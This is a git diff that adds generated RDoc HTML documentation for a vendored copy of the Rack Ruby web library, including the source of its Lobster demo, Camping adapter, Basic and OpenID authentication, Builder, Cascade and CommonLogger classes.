+40:         raise "Lobster crashed"
+41:       else
+42:         lobster = LobsterString
+43:         href = "?flip=left"
+44:       end
+45: 
+46:       res = Response.new
+47:       res.write "<title>Lobstericious!</title>"
+48:       res.write "<pre>"
+49:       res.write lobster
+50:       res.write "</pre>"
+51:       res.write "<p><a href='#{href}'>flip!</a></p>"
+52:       res.write "<p><a href='?flip=crash'>crash!</a></p>"
+53:       res.finish
+54:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Adapter.html b/vendor/plugins/rack/doc/classes/Rack/Adapter.html new file mode 100644 index 00000000..5df80dc8 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Adapter.html @@ -0,0 +1,130 @@ + + + + + + Module: Rack::Adapter + + + + + + + + + + +
+ + + + + + + + + + +
ModuleRack::Adapter
In: + + lib/rack.rb + +
+ + lib/rack/adapter/camping.rb + +
+
+
+ + +
+ + + +
+ +
+

+Adapters connect Rack with third party +web frameworks. +

+

+Rack includes an adapter for Camping, see README for other frameworks +supporting Rack in their code bases. +

+

+Refer to the submodules for framework-specific calling details. +

+ +
+ + +
+ + +
+ + + + +
+ +
+

Classes and Modules

+ + Class Rack::Adapter::Camping
+ +
+ + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Adapter/Camping.html b/vendor/plugins/rack/doc/classes/Rack/Adapter/Camping.html new file mode 100644 index 00000000..f8b6c418 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Adapter/Camping.html @@ -0,0 +1,181 @@ + + + + + + Class: Rack::Adapter::Camping + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Adapter::Camping
In: + + lib/rack/adapter/camping.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ call   + new   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+   # File lib/rack/adapter/camping.rb, line 4
+4:       def initialize(app)
+5:         @app = app
+6:       end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/adapter/camping.rb, line 8
+ 8:       def call(env)
+ 9:         env["PATH_INFO"] ||= ""
+10:         env["SCRIPT_NAME"] ||= ""
+11:         controller = @app.run(env['rack.input'], env)
+12:         h = controller.headers
+13:         h.each_pair do |k,v|
+14:           if v.kind_of? URI
+15:             h[k] = v.to_s
+16:           end
+17:         end
+18:         [controller.status, controller.headers, [controller.body.to_s]]
+19:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Auth.html b/vendor/plugins/rack/doc/classes/Rack/Auth.html new file mode 100644 index 00000000..2f7e24d6 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Auth.html @@ -0,0 +1,121 @@ + + + + + + Module: Rack::Auth + + + + + + + + + + +
+ + + + + + + + + + +
ModuleRack::Auth
In: + + lib/rack.rb + +
+ + lib/rack/auth/basic.rb + +
+ + lib/rack/auth/openid.rb + +
+
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ +
+

Classes and Modules

+ + Module Rack::Auth::Digest
+Class Rack::Auth::Basic
+Class Rack::Auth::OpenID
+ +
+ + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Auth/Basic.html b/vendor/plugins/rack/doc/classes/Rack/Auth/Basic.html new file mode 100644 index 00000000..637a9adc --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Auth/Basic.html @@ -0,0 +1,179 @@ + + + + + + Class: Rack::Auth::Basic + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Auth::Basic
In: + + lib/rack/auth/basic.rb + +
+
Parent: + AbstractHandler +
+
+ + +
+ + + +
+ +
+

+Rack::Auth::Basic implements HTTP Basic Authentication, as per RFC 2617. +

+

+Initialize with the Rack application that you +want protecting, and a block that checks if a username and password pair +are valid. +

+

+See also: example/protectedlobster.rb +

+ +
+ + +
+ +
+

Methods

+ +
+ call   +
+
+ +
+ + + + +
+ +
+

Classes and Modules

+ + Class Rack::Auth::Basic::Request
+ +
+ + + + + + + + +
+

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/auth/basic.rb, line 15
+15:       def call(env)
+16:         auth = Basic::Request.new(env)
+17: 
+18:         return unauthorized unless auth.provided?
+19: 
+20:         return bad_request unless auth.basic?
+21: 
+22:         if valid?(auth)
+23:           env['REMOTE_USER'] = auth.username
+24: 
+25:           return @app.call(env)
+26:         end
+27: 
+28:         unauthorized
+29:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Auth/Basic/Request.html b/vendor/plugins/rack/doc/classes/Rack/Auth/Basic/Request.html new file mode 100644 index 00000000..8133424d --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Auth/Basic/Request.html @@ -0,0 +1,194 @@ + + + + + + Class: Rack::Auth::Basic::Request + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Auth::Basic::Request
In: + + lib/rack/auth/basic.rb + +
+
Parent: + Auth::AbstractRequest +
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ basic?   + credentials   + username   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/auth/basic.rb, line 43
+43:         def basic?
+44:           :basic == scheme
+45:         end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/auth/basic.rb, line 47
+47:         def credentials
+48:           @credentials ||= params.unpack("m*").first.split(/:/, 2)
+49:         end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/auth/basic.rb, line 51
+51:         def username
+52:           credentials.first
+53:         end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Auth/Digest.html b/vendor/plugins/rack/doc/classes/Rack/Auth/Digest.html new file mode 100644 index 00000000..9b3c2d76 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Auth/Digest.html @@ -0,0 +1,105 @@ + + + + + + Module: Rack::Auth::Digest + + + + + + + + + + +
+ + + + + + + + + + +
ModuleRack::Auth::Digest
In: + + lib/rack.rb + +
+
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Auth/OpenID.html b/vendor/plugins/rack/doc/classes/Rack/Auth/OpenID.html new file mode 100644 index 00000000..0a3716ac --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Auth/OpenID.html @@ -0,0 +1,807 @@ + + + + + + Class: Rack::Auth::OpenID + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Auth::OpenID
In: + + lib/rack/auth/openid.rb + +
+
Parent: + AbstractHandler +
+
+ + +
+ + + +
+ +
+

+Rack::Auth::OpenID provides a simple method for +permitting openid based logins. It requires the ruby-openid library from +janrain to operate, as well as a rack method of session management. +

+

+The ruby-openid home page is at openidenabled.com/ruby-openid/. +

+

+The OpenID specifications can be found at openid.net/specs/openid-authentication-1_1.html +and openid.net/specs/openid-authentication-2_0.html. +Documentation for published OpenID extensions and +related topics can be found at openid.net/developers/specs/. +

+

+It is recommended to read through the OpenID +spec, as well as ruby-openid‘s documentation, to understand what +exactly goes on. However a setup as simple as the presented examples is +enough to provide functionality. +

+

+This library strongly intends to utilize the OpenID 2.0 features of the ruby-openid library, +while maintaining OpenID 1.0 compatiblity. +

+

+All responses from this rack application will be 303 redirects unless an +error occurs, with the exception of an authentication request requiring an +HTML form submission. +

+

+NOTE: Extensions are not currently supported by this implimentation of the +OpenID rack application due to the complexity of +the current ruby-openid extension handling. +

+

+NOTE: Due to the amount of data that this library stores in the session, Rack::Session::Cookie may fault. +

+ +
+ + +
+ +
+

Methods

+ +
+ add_extension   + call   + check   + extension_namespaces   + finish   + new   +
+
+ +
+ + + + +
+ +
+

Classes and Modules

+ + Class Rack::Auth::OpenID::NoSession
+ +
+ +
+

Constants

+ +
+ + + + + + + + + + + + + +
OIDStore=::OpenID::Store::Memory.new  +Required for ruby-openid + +
HTML='<html><head><title>%s</title></head><body>%s</body></html>'
+
+
+ + + +
+

Attributes

+ +
+ + + + + + + + + + + +
extensions [R] 
options [R] 
+
+
+ + + + +
+

Public Class methods

+ +
+ + + + +
+

+A Hash of options is taken as it‘s single initializing argument. For +example: +

+
+  simple_oid = OpenID.new('http://mysite.com/')
+
+  return_oid = OpenID.new('http://mysite.com/', {
+    :return_to => 'http://mysite.com/openid'
+  })
+
+  page_oid = OpenID.new('http://mysite.com/',
+    :login_good => 'http://mysite.com/auth_good'
+  )
+
+  complex_oid = OpenID.new('http://mysite.com/',
+    :return_to => 'http://mysite.com/openid',
+    :login_good => 'http://mysite.com/user/preferences',
+    :auth_fail => [500, {'Content-Type'=>'text/plain'},
+      'Unable to negotiate with foreign server.'],
+    :immediate => true,
+    :extensions => {
+      ::OpenID::SReg => [['email'],['nickname']]
+    }
+  )
+
+

Arguments

+

+The first argument is the realm, identifying the site they are trusting +with their identity. This is required. +

+

+NOTE: In OpenID 1.x, the realm or trust_root is +optional and the return_to url is required. As this library strives tward +ruby-openid 2.0, and OpenID 2.0 compatibiliy, the +realm is required and return_to is optional. However, this implimentation +is still backwards compatible with OpenID 1.0 +servers. +

+

+The optional second argument is a hash of options. +

+

Options

+

+:return_to defines the url to return to after the client +authenticates with the openid service provider. This url should point to +where Rack::Auth::OpenID is mounted. If +:return_to is not provided, :return_to will be the current url +including all query parameters. +

+

+:session_key defines the key to the session hash in the env. It +defaults to ‘rack.session’. +

+

+:openid_param defines at what key in the request parameters to +find the identifier to resolve. As per the 2.0 spec, the default is +‘openid_identifier’. +

+

+:immediate as true will make immediate type of requests the +default. See OpenID specification documentation. +

+

URL options

+

+:login_good is the url to go to after the authentication process +has completed. +

+

+:login_fail is the url to go to after the authentication process +has failed. +

+

+:login_quit is the url to go to after the authentication process +has been cancelled. +

+

Response options

+

+:no_session should be a rack response to be returned if no or an +incompatible session is found. +

+

+:auth_fail should be a rack response to be returned if an +OpenID::DiscoveryFailure occurs. This is typically due to being unable to +access the identity url or identity server. +

+

+:error should be a rack response to return if any other generic +error would occur and options[:catch_errors] is true. +

+

Extensions

+

+:extensions should be a hash of openid extension implementations. +The key should be the extension main module, the value should be an array +of arguments for extension::Request.new +

+

+The hash is iterated over and passed to add_extension for processing. Please see add_extension for further documentation. +

+

[Source]

+
+
+     # File lib/rack/auth/openid.rb, line 137
+137:       def initialize(realm, options={})
+138:         @realm = realm
+139:         realm = URI(realm)
+140:         if realm.path.empty?
+141:           raise ArgumentError, "Invalid realm path: '#{realm.path}'"
+142:         elsif not realm.absolute?
+143:           raise ArgumentError, "Realm '#{@realm}' not absolute"
+144:         end
+145: 
+146:         [:return_to, :login_good, :login_fail, :login_quit].each do |key|
+147:           if options.key? key and luri = URI(options[key])
+148:             if !luri.absolute?
+149:               raise ArgumentError, ":#{key} is not an absolute uri: '#{luri}'"
+150:             end
+151:           end
+152:         end
+153: 
+154:         if options[:return_to] and ruri = URI(options[:return_to])
+155:           if ruri.path.empty?
+156:             raise ArgumentError, "Invalid return_to path: '#{ruri.path}'"
+157:           elsif realm.path != ruri.path[0, realm.path.size]
+158:             raise ArgumentError, 'return_to not within realm.' \
+159:           end
+160:         end
+161: 
+162:         # TODO: extension support
+163:         if extensions = options.delete(:extensions)
+164:           extensions.each do |ext, args|
+165:             add_extension ext, *args
+166:           end
+167:         end
+168: 
+169:         @options = {
+170:           :session_key => 'rack.session',
+171:           :openid_param => 'openid_identifier',
+172:           #:return_to, :login_good, :login_fail, :login_quit
+173:           #:no_session, :auth_fail, :error
+174:           :store => OIDStore,
+175:           :immediate => false,
+176:           :anonymous => false,
+177:           :catch_errors => false
+178:         }.merge(options)
+179:         @extensions = {}
+180:       end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

+The first argument should be the main extension module. The extension +module should contain the constants: +

+
+  * class Request, with OpenID::Extension as an ancestor
+  * class Response, with OpenID::Extension as an ancestor
+  * string NS_URI, which defines the namespace of the extension, should
+    be an absolute http uri
+
+

+All trailing arguments will be passed to extension::Request.new in check. The openid response will be passed to +extension::Response#from_success_response, get_extension_args will be +called on the result to attain the gathered data. +

+

+This method returns the key at which the response data will be found in the +session, which is the namespace uri by default. +

+

[Source]

+
+
+     # File lib/rack/auth/openid.rb, line 402
+402:       def add_extension ext, *args
+403:         if not ext.is_a? Module
+404:           raise TypeError, "#{ext.inspect} is not a module"
+405:         elsif !(m = %w'Request Response NS_URI' -
+406:                 ext.constants.map{ |c| c.to_s }).empty?
+407:           raise ArgumentError, "#{ext.inspect} missing #{m*', '}"
+408:         end
+409: 
+410:         consts = [ext::Request, ext::Response]
+411: 
+412:         if not consts.all?{|c| c.is_a? Class }
+413:           raise TypeError, "#{ext.inspect}'s Request or Response is not a class"
+414:         elsif not consts.all?{|c| ::OpenID::Extension > c }
+415:           raise ArgumentError, "#{ext.inspect}'s Request or Response not a decendant of OpenID::Extension"
+416:         end
+417: 
+418:         if not ext::NS_URI.is_a? String
+419:           raise TypeError, "#{ext.inspect}'s NS_URI is not a string"
+420:         elsif not uri = URI(ext::NS_URI)
+421:           raise ArgumentError, "#{ext.inspect}'s NS_URI is not a valid uri"
+422:         elsif not uri.scheme =~ /^https?$/
+423:           raise ArgumentError, "#{ext.inspect}'s NS_URI is not an http uri"
+424:         elsif not uri.absolute?
+425:           raise ArgumentError, "#{ext.inspect}'s NS_URI is not and absolute uri"
+426:         end
+427:         @extensions[ext] = args
+428:         return ext::NS_URI
+429:       end
+
+
+
+
+ +
+ + + + +
+

+It sets up and uses session data at :openid within the session. It +sets up the ::OpenID::Consumer using the store specified by +options[:store]. +

+

+If the parameter specified by options[:openid_param] is present, +processing is passed to check and the +result is returned. +

+

+If the parameter ‘openid.mode’ is set, implying a followup from +the openid server, processing is passed to finish and the result is returned. +

+

+If neither of these conditions are met, a 400 error is returned. +

+

+If an error is thrown and options[:catch_errors] is false, the +exception will be reraised. Otherwise a 500 error is returned. +

+

[Source]

+
+
+     # File lib/rack/auth/openid.rb, line 199
+199:       def call(env)
+200:         env['rack.auth.openid'] = self
+201:         session = env[@options[:session_key]]
+202:         unless session and session.is_a? Hash
+203:           raise(NoSession, 'No compatible session')
+204:         end
+205:         # let us work in our own namespace...
+206:         session = (session[:openid] ||= {})
+207:         unless session and session.is_a? Hash
+208:           raise(NoSession, 'Incompatible session')
+209:         end
+210: 
+211:         request = Rack::Request.new env
+212:         consumer = ::OpenID::Consumer.new session, @options[:store]
+213: 
+214:         if request.params['openid.mode']
+215:           finish consumer, session, request
+216:         elsif request.params[@options[:openid_param]]
+217:           check consumer, session, request
+218:         else
+219:           env['rack.errors'].puts "No valid params provided."
+220:           bad_request
+221:         end
+222:       rescue NoSession
+223:         env['rack.errors'].puts($!.message, *$@)
+224: 
+225:         @options. ### Missing or incompatible session
+226:           fetch :no_session, [ 500,
+227:             {'Content-Type'=>'text/plain'},
+228:             $!.message ]
+229:       rescue
+230:         env['rack.errors'].puts($!.message, *$@)
+231: 
+232:         if not @options[:catch_error]
+233:           raise($!)
+234:         end
+235:         @options.
+236:           fetch :error, [ 500,
+237:             {'Content-Type'=>'text/plain'},
+238:             'OpenID has encountered an error.' ]
+239:       end
+
+
+
+
+ +
+ + + + +
+

+As the first part of OpenID consumer action, check retrieves the data required for +completion. +

+
    +
  • session[:openid][:openid_param] is set to the submitted identifier +to be authenticated. + +
  • +
  • session[:openid][:site_return] is set as the request‘s +HTTP_REFERER, unless already set. + +
  • +
  • env is the openid +checkid request instance. + +
  • +
+

[Source]

+
+
+     # File lib/rack/auth/openid.rb, line 250
+250:       def check(consumer, session, req)
+251:         session[:openid_param]  = req.params[@options[:openid_param]]
+252:         oid = consumer.begin(session[:openid_param], @options[:anonymous])
+253:         pp oid if $DEBUG
+254:         req.env['rack.auth.openid.request'] = oid
+255: 
+256:         session[:site_return] ||= req.env['HTTP_REFERER']
+257: 
+258:         # SETUP_NEEDED check!
+259:         # see OpenID::Consumer::CheckIDRequest docs
+260:         query_args = [@realm, *@options.values_at(:return_to, :immediate)]
+261:         query_args[1] ||= req.url
+262:         query_args[2] = false if session.key? :setup_needed
+263:         pp query_args if $DEBUG
+264: 
+265:         ## Extension support
+266:         extensions.each do |ext,args|
+267:           oid.add_extension ext::Request.new(*args)
+268:         end
+269: 
+270:         if oid.send_redirect?(*query_args)
+271:           redirect = oid.redirect_url(*query_args)
+272:           if $DEBUG
+273:             pp redirect
+274:             pp Rack::Utils.parse_query(URI(redirect).query)
+275:           end
+276:           [ 303, {'Location'=>redirect}, [] ]
+277:         else
+278:           # check on 'action' option.
+279:           formbody = oid.form_markup(*query_args)
+280:           if $DEBUG
+281:             pp formbody
+282:           end
+283:           body = HTML % ['Confirm...', formbody]
+284:           [ 200, {'Content-Type'=>'text/html'}, body.to_a ]
+285:         end
+286:       rescue ::OpenID::DiscoveryFailure => e
+287:         # thrown from inside OpenID::Consumer#begin by yadis stuff
+288:         req.env['rack.errors'].puts($!.message, *$@)
+289: 
+290:         @options. ### Foreign server failed
+291:           fetch :auth_fail, [ 503,
+292:             {'Content-Type'=>'text/plain'},
+293:             'Foreign server failure.' ]
+294:       end
+
+
+
+
+ +
+ + + + +
+

+A conveniance method that returns the namespace of all current extensions +used by this instance. +

+

[Source]

+
+
+     # File lib/rack/auth/openid.rb, line 433
+433:       def extension_namespaces
+434:         @extensions.keys.map{|e|e::NS_URI}
+435:       end
+
+
+
+
+ +
+ + + + +
+

+This is the final portion of authentication. Unless any errors outside of +specification occur, a 303 redirect will be returned with Location +determined by the OpenID response type. If none +of the response type :login_* urls are set, the redirect will be set to +session[:openid][:site_return]. If +session[:openid][:site_return] is unset, the realm will be used. +

+

+Any messages from OpenID‘s response are +appended to the 303 response body. +

+

+Data gathered from extensions are stored in session[:openid] with the +extension‘s namespace uri as the key. +

+
    +
  • env is the openid +response. + +
  • +
+

+The four valid possible outcomes are: +

+
    +
  • failure: options[:login_fail] or session[:site_return] or +the realm + +
      +
    • session[:openid] is cleared and any messages are send to +rack.errors + +
    • +
    • session[:openid][‘authenticated’] is false + +
    • +
    +
  • +
  • success: options[:login_good] or session[:site_return] or +the realm + +
      +
    • session[:openid] is cleared + +
    • +
    • session[:openid][‘authenticated’] is true + +
    • +
    • session[:openid][‘identity’] is the actual identifier + +
    • +
    • session[:openid][‘identifier’] is the pretty +identifier + +
    • +
    +
  • +
  • cancel: options[:login_good] or session[:site_return] or +the realm + +
      +
    • session[:openid] is cleared + +
    • +
    • session[:openid][‘authenticated’] is false + +
    • +
    +
  • +
  • setup_needed: resubmits the authentication request. A flag is set for +non-immediate handling. + +
      +
    • session[:openid][:setup_needed] is set to true, which +will prevent immediate style openid authentication. + +
    • +
    +
  • +
+

[Source]

+
+
+     # File lib/rack/auth/openid.rb, line 332
+332:       def finish(consumer, session, req)
+333:         oid = consumer.complete(req.params, req.url)
+334:         pp oid if $DEBUG
+335:         req.env['rack.auth.openid.response'] = oid
+336: 
+337:         goto = session.fetch :site_return, @realm
+338:         body = []
+339: 
+340:         case oid.status
+341:         when ::OpenID::Consumer::FAILURE
+342:           session.clear
+343:           session['authenticated'] = false
+344:           req.env['rack.errors'].puts oid.message
+345: 
+346:           goto = @options[:login_fail] if @options.key? :login_fail
+347:           body << "Authentication unsuccessful.\n"
+348:         when ::OpenID::Consumer::SUCCESS
+349:           session.clear
+350: 
+351:           ## Extension support
+352:           extensions.each do |ext, args|
+353:             session[ext::NS_URI] = ext::Response.
+354:               from_success_response(oid).
+355:               get_extension_args
+356:           end
+357: 
+358:           session['authenticated'] = true
+359:           # Value for unique identification and such
+360:           session['identity'] = oid.identity_url
+361:           # Value for display and UI labels
+362:           session['identifier'] = oid.display_identifier
+363: 
+364:           goto = @options[:login_good] if @options.key? :login_good
+365:           body << "Authentication successful.\n"
+366:         when ::OpenID::Consumer::CANCEL
+367:           session.clear
+368:           session['authenticated'] = false
+369: 
+370:           goto = @options[:login_fail] if @options.key? :login_fail
+371:           body << "Authentication cancelled.\n"
+372:         when ::OpenID::Consumer::SETUP_NEEDED
+373:           session[:setup_needed] = true
+374:           unless o_id = session[:openid_param]
+375:             raise('Required values missing.')
+376:           end
+377: 
+378:           goto = req.script_name+
+379:             '?'+@options[:openid_param]+
+380:             '='+o_id
+381:           body << "Reauthentication required.\n"
+382:         end
+383:         body << oid.message if oid.message
+384:         [ 303, {'Location'=>goto}, body]
+385:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Auth/OpenID/NoSession.html b/vendor/plugins/rack/doc/classes/Rack/Auth/OpenID/NoSession.html new file mode 100644 index 00000000..543f38bc --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Auth/OpenID/NoSession.html @@ -0,0 +1,111 @@ + + + + + + Class: Rack::Auth::OpenID::NoSession + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Auth::OpenID::NoSession
In: + + lib/rack/auth/openid.rb + +
+
Parent: + RuntimeError +
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Builder.html b/vendor/plugins/rack/doc/classes/Rack/Builder.html new file mode 100644 index 00000000..8d4fc892 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Builder.html @@ -0,0 +1,340 @@ + + + + + + Class: Rack::Builder + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Builder
In: + + lib/rack/builder.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::Builder implements a small DSL to +iteratively construct Rack applications. +

+

+Example: +

+
+ app = Rack::Builder.new {
+   use Rack::CommonLogger
+   use Rack::ShowExceptions
+   map "/lobster" do
+     use Rack::Lint
+     run Rack::Lobster.new
+   end
+ }
+
+

+Or +

+
+ app = Rack::Builder.app do
+   use Rack::CommonLogger
+   lambda { |env| [200, {'Content-Type' => 'text/plain'}, 'OK'] }
+ end
+
+

+use adds a middleware to the +stack, run dispatches to an +application. You can use map to construct a Rack::URLMap in a convenient way. +

+ +
+ + +
+ +
+

Methods

+ +
+ app   + call   + map   + new   + run   + to_app   + use   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/builder.rb, line 32
+32:     def self.app(&block)
+33:       self.new(&block).to_app
+34:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/builder.rb, line 27
+27:     def initialize(&block)
+28:       @ins = []
+29:       instance_eval(&block) if block_given?
+30:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/builder.rb, line 63
+63:     def call(env)
+64:       to_app.call(env)
+65:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/builder.rb, line 48
+48:     def map(path, &block)
+49:       if @ins.last.kind_of? Hash
+50:         @ins.last[path] = self.class.new(&block).to_app
+51:       else
+52:         @ins << {}
+53:         map(path, &block)
+54:       end
+55:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/builder.rb, line 44
+44:     def run(app)
+45:       @ins << app #lambda { |nothing| app }
+46:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/builder.rb, line 57
+57:     def to_app
+58:       @ins[-1] = Rack::URLMap.new(@ins.last)  if Hash === @ins.last
+59:       inner_app = @ins.last
+60:       @ins[0...-1].reverse.inject(inner_app) { |a, e| e.call(a) }
+61:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/builder.rb, line 36
+36:     def use(middleware, *args, &block)
+37:       @ins << if block_given?
+38:         lambda { |app| middleware.new(app, *args, &block) }
+39:       else
+40:         lambda { |app| middleware.new(app, *args) }
+41:       end
+42:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Cascade.html b/vendor/plugins/rack/doc/classes/Rack/Cascade.html new file mode 100644 index 00000000..63d48f1b --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Cascade.html @@ -0,0 +1,265 @@ + + + + + + Class: Rack::Cascade + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Cascade
In: + + lib/rack/cascade.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::Cascade tries an request on several apps, +and returns the first response that is not 404 (or in a list of +configurable status codes). +

+ +
+ + +
+ +
+

Methods

+ +
+ <<   + add   + call   + include?   + new   +
+
+ +
+ + + + +
+ + + + + +
+

Attributes

+ +
+ + + + + + +
apps [R] 
+
+
+ + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/cascade.rb, line 9
+ 9:     def initialize(apps, catch=404)
+10:       @apps = apps
+11:       @catch = [*catch]
+12:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + +
+ <<(app) +
+ +
+

+Alias for add +

+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/cascade.rb, line 26
+26:     def add app
+27:       @apps << app
+28:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/cascade.rb, line 14
+14:     def call(env)
+15:       status = headers = body = nil
+16:       raise ArgumentError, "empty cascade"  if @apps.empty?
+17:       @apps.each { |app|
+18:         begin
+19:           status, headers, body = app.call(env)
+20:           break  unless @catch.include?(status.to_i)
+21:         end
+22:       }
+23:       [status, headers, body]
+24:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/cascade.rb, line 30
+30:     def include? app
+31:       @apps.include? app
+32:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/CommonLogger.html b/vendor/plugins/rack/doc/classes/Rack/CommonLogger.html new file mode 100644 index 00000000..f208bf19 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/CommonLogger.html @@ -0,0 +1,308 @@ + + + + + + Class: Rack::CommonLogger + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::CommonLogger
In: + + lib/rack/commonlogger.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::CommonLogger forwards every request +to an app given, and logs a line in the Apache common log format +to the logger, or rack.errors by default. +

+ +
+ + +
+ +
+

Methods

+ +
+ <<   + _call   + call   + close   + each   + new   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/commonlogger.rb, line 7
+ 7:     def initialize(app, logger=nil)
+ 8:       @app = app
+ 9:       @logger = logger
+10:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

+By default, log to rack.errors. +

+

[Source]

+
+
+    # File lib/rack/commonlogger.rb, line 29
+29:     def <<(str)
+30:       @env["rack.errors"].write(str)
+31:       @env["rack.errors"].flush
+32:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/commonlogger.rb, line 16
+16:     def _call(env)
+17:       @env = env
+18:       @logger ||= self
+19:       @time = Time.now
+20:       @status, @header, @body = @app.call(env)
+21:       [@status, @header, self]
+22:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/commonlogger.rb, line 12
+12:     def call(env)
+13:       dup._call(env)
+14:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/commonlogger.rb, line 24
+24:     def close
+25:       @body.close if @body.respond_to? :close
+26:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/commonlogger.rb, line 34
+34:     def each
+35:       length = 0
+36:       @body.each { |part|
+37:         length += part.size
+38:         yield part
+39:       }
+40: 
+41:       @now = Time.now
+42: 
+43:       # Common Log Format: http://httpd.apache.org/docs/1.3/logs.html#common
+44:       # lilith.local - - [07/Aug/2006 23:58:02] "GET / HTTP/1.1" 500 -
+45:       #             %{%s - %s [%s] "%s %s%s %s" %d %s\n} %
+46:       @logger << %{%s - %s [%s] "%s %s%s %s" %d %s %0.4f\n} %
+47:         [
+48:          @env['HTTP_X_FORWARDED_FOR'] || @env["REMOTE_ADDR"] || "-",
+49:          @env["REMOTE_USER"] || "-",
+50:          @now.strftime("%d/%b/%Y %H:%M:%S"),
+51:          @env["REQUEST_METHOD"],
+52:          @env["PATH_INFO"],
+53:          @env["QUERY_STRING"].empty? ? "" : "?"+@env["QUERY_STRING"],
+54:          @env["HTTP_VERSION"],
+55:          @status.to_s[0..3],
+56:          (length.zero? ? "-" : length.to_s),
+57:          @now - @time
+58:         ]
+59:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/ConditionalGet.html b/vendor/plugins/rack/doc/classes/Rack/ConditionalGet.html new file mode 100644 index 00000000..a9384d57 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/ConditionalGet.html @@ -0,0 +1,199 @@ + + + + + + Class: Rack::ConditionalGet + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::ConditionalGet
In: + + lib/rack/conditionalget.rb + +
+
Parent: + Object +
+
